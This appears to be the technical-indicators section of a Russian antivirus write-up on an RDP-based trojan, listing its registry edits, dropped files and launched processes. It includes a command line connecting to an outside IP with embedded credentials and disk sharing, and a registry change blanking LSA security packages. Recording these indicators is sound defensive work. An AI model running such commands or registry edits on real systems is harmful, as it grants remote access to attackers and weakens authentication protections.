Техническая информация
- [<HKLM>\SYSTEM\ControlSet001\Control\SecurityProviders] 'SecurityProviders' = 'msapsspc.dll, schannel.dll, digest.dll, msnsspc.dll, credssp.dll'
- [<HKLM>\SYSTEM\ControlSet001\Control\Lsa] 'Security Packages' = ''
- Средство контроля пользовательских учетных записей (UAC)
- '%APPDATA%\RDP6\TsCredentials.exe' ##.###.##.### /######
- '%APPDATA%\RDP6\ConnectionClient.exe' -server 98.118.62.133 -port 5589 -user jeff -psw byte14me -alttab 0 -remoteapp off -seamless off -width 1024 -height 768 -printer off -com off -smartcard off -preview on -disk on -smartsizing 0 -localtb 32
- %APPDATA%\RDP6\bkgscblue.bmp
- %TEMP%\aut9.tmp
- %TEMP%\aut8.tmp
- %TEMP%\aut7.tmp
- %APPDATA%\RDP6\bkgsc.bmp
- %APPDATA%\RDP6\bkgscgreen.bmp
- %APPDATA%\RDP6\TsCredentials.exe
- %APPDATA%\RDP6\MyPDFprinting\clientenvironment.ini
- %TEMP%\autB.tmp
- %TEMP%\autA.tmp
- %APPDATA%\RDP6\bkgscpink.bmp
- %APPDATA%\RDP6\ico2.ico
- %APPDATA%\RDP6\mstsc.exe
- %TEMP%\aut3.tmp
- %TEMP%\aut2.tmp
- %TEMP%\aut1.tmp
- %APPDATA%\RDP6\mstscax.dll
- %APPDATA%\RDP6\<Имя вируса>.txt
- %APPDATA%\RDP6\languk.ini
- %TEMP%\aut6.tmp
- %TEMP%\aut5.tmp
- %TEMP%\aut4.tmp
- %APPDATA%\RDP6\ConnectionClient.exe
- %TEMP%\aut9.tmp
- %TEMP%\aut8.tmp
- %TEMP%\aut7.tmp
- %APPDATA%\RDP6\bkgsc.bmp
- %TEMP%\autB.tmp
- %TEMP%\autA.tmp
- %TEMP%\aut3.tmp
- %TEMP%\aut2.tmp
- %TEMP%\aut1.tmp
- %TEMP%\aut6.tmp
- %TEMP%\aut5.tmp
- %TEMP%\aut4.tmp
- ClassName: 'Shell_TrayWnd' WindowName: '(null)'